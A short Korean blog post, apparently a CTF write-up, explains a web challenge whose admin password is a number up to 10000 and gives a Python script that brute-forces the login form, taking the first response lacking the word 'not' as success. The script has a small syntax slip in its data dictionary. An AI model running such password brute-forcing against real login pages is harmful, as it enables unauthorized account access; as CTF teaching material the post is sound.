티스토리 뷰



아이티고 ctf에서 나온 문제였는데, 서버가 닫혀 문제 사진은 없다.


id는 admin이였고 pw값이 1~10000 중 하나였다.


브루트포싱 문제였다.



코드이다

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
 
URL = 'http://problem.seoulit.kr/web/nv74vbcv/1.php'
for i in range(0,10000) :
    data = {'id' : 'admin''pw' : i}
    res = requests.post(url=URL, data=data)
    print (i)
    print ("번째\n")
    if(not"not" in res.text):
        print("=")
        print(i)
        break
   
cs

 id는 계속 admin을 넣어주고 있고, pw값만 1씩 늘어난다.


pw가 틀리면 페이지에서 not어쩌구 문구와 함께 로그인에 실패한다.


그래서 로그인에 성공하면 not어쩌구 문구가 안뜰 것이니, 페이지에 not이라는 문구가 없으면 그 때의 i값이 pw 이다.

Comments